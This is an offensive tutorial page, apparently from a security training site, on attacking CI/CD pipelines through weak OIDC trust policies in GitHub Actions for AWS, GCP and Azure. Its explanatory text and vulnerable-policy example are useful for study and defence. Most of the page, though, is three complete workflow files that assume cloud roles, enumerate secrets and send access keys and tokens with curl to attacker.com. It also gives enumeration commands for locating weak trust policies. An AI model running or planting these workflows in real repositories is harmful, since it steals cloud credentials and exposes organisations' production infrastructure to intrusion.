🔥 Advanced

OIDC & Cloud CI/CD Attacks

Modern CI/CD uses OIDC tokens to authenticate to cloud providers without storing long-lived credentials. Misconfigured trust policies are a goldmine for attackers.

High-Value Target

OIDC federation replaces static API keys with short-lived tokens. But weak trust policies mean ANY workflow in a repo (or even forked PRs) can assume cloud roles with production access.

How CI/CD OIDC Works

🔄
1. CI Job Starts
GitHub/GitLab generates JWT
🎫
2. Present Token
JWT sent to cloud provider
☁️
3. Get Creds
Cloud returns temp credentials

GitHub Actions OIDC Token

GitHub generates a JWT with claims about the workflow. Cloud providers validate these claims:

bash
# Decoded GitHub Actions OIDC Token (JWT payload):
{
  "iss": "https://token.actions.githubusercontent.com",
  "sub": "repo:org/repo-name:ref:refs/heads/main",
  "aud": "https://github.com/org",
  "ref": "refs/heads/main",
  "sha": "abc123...",
  "repository": "org/repo-name",
  "repository_owner": "org",
  "actor": "username",
  "workflow": "deploy.yml",
  "event_name": "push",
  "ref_type": "branch",
  "job_workflow_ref": "org/repo-name/.github/workflows/deploy.yml@refs/heads/main",
  "runner_environment": "github-hosted"
}

# KEY INSIGHT: If cloud trust policy only checks "repository" 
# and not "ref" or "environment", ANY branch can get creds!

AWS OIDC Exploitation

Weak Trust Policy

bash
// VULNERABLE - Only checks repository, not branch!
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "Federated": "arn:aws:iam::123456789:oidc-provider/token.actions.githubusercontent.com"
    },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:sub": "repo:company/app:*"  // WILDCARD!
      }
    }
  }]
}

// ATTACK: Create any workflow in ANY branch, get AWS creds
// Even pull_request from fork might work if conditions are loose

Exploiting AWS OIDC

bash
# .github/workflows/steal-aws.yml
name: Steal AWS
on: [push, pull_request]  # Runs on any push/PR

permissions:
  id-token: write   # Required for OIDC
  contents: read

jobs:
  pwn:
    runs-on: ubuntu-latest
    steps:
      - name: Configure AWS Credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789:role/GitHubActions
          aws-region: us-east-1
      
      - name: Exfiltrate
        run: |
          # You now have AWS creds!
          aws sts get-caller-identity
          aws s3 ls
          aws secretsmanager list-secrets
          
          # Exfil the credentials
          curl -X POST -d "aws_key=$AWS_ACCESS_KEY_ID" https://attacker.com/
          curl -X POST -d "aws_secret=$AWS_SECRET_ACCESS_KEY" https://attacker.com/
          curl -X POST -d "aws_token=$AWS_SESSION_TOKEN" https://attacker.com/

GCP Workload Identity

bash
# GCP uses Workload Identity Federation
# Vulnerable pool might allow any repo workflow

# .github/workflows/steal-gcp.yml
name: GCP Exploit
on: push

permissions:
  id-token: write
  contents: read

jobs:
  pwn:
    runs-on: ubuntu-latest
    steps:
      - uses: google-github-actions/auth@v2
        with:
          workload_identity_provider: 'projects/123/locations/global/workloadIdentityPools/github/providers/my-repo'
          service_account: 'github-actions@project.iam.gserviceaccount.com'
      
      - name: Exfil GCP
        run: |
          gcloud auth list
          gcloud projects list
          gcloud secrets list
          gcloud compute instances list
          
          # Get access token
          gcloud auth print-access-token | curl -X POST -d @- https://attacker.com/

Azure OIDC Federation

bash
# Azure uses Federated Identity Credentials
# Weak config might trust entire org or repo without branch restrictions

# .github/workflows/steal-azure.yml  
name: Azure Exploit
on: push

permissions:
  id-token: write
  contents: read

jobs:
  pwn:
    runs-on: ubuntu-latest
    steps:
      - uses: azure/login@v1
        with:
          client-id: ${{ secrets.AZURE_CLIENT_ID }}
          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
      
      - name: Exfil Azure
        run: |
          az account show
          az keyvault list
          az keyvault secret list --vault-name target-vault
          az storage account list
          
          # Get access token
          az account get-access-token --query accessToken -o tsv | \
            curl -X POST -d @- https://attacker.com/

Enumeration

bash
# Search for OIDC usage in workflows
grep -r "id-token: write" .github/workflows/
grep -r "role-to-assume" .github/workflows/
grep -r "workload_identity_provider" .github/workflows/
grep -r "azure/login" .github/workflows/

# Check AWS IAM for OIDC providers (requires AWS access)
aws iam list-open-id-connect-providers
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <arn>

# Check trust policies on roles
aws iam get-role --role-name GitHubActionsRole --query 'Role.AssumeRolePolicyDocument'

# Look for wildcards in conditions - VULNERABLE!
# "sub": "repo:org/*"  
# "sub": "repo:org/repo:*"

# GCP - Check workload identity pools
gcloud iam workload-identity-pools list --location=global
gcloud iam workload-identity-pools providers list --workload-identity-pool=<pool> --location=global

Attack Scenarios

Fork + PR Attack

If OIDC trust doesn't exclude forks, attacker forks repo, creates workflow, opens PR → gets cloud creds

Branch Bypass

Trust policy only checks repo, not branch. Attacker pushes to feature branch → assumes prod role

Workflow Injection

Attacker injects into existing workflow via PR title/body command injection → OIDC creds stolen

Org-Wide Trust

Trust policy uses org wildcard. Compromise ANY repo in org → access to shared cloud role

Tools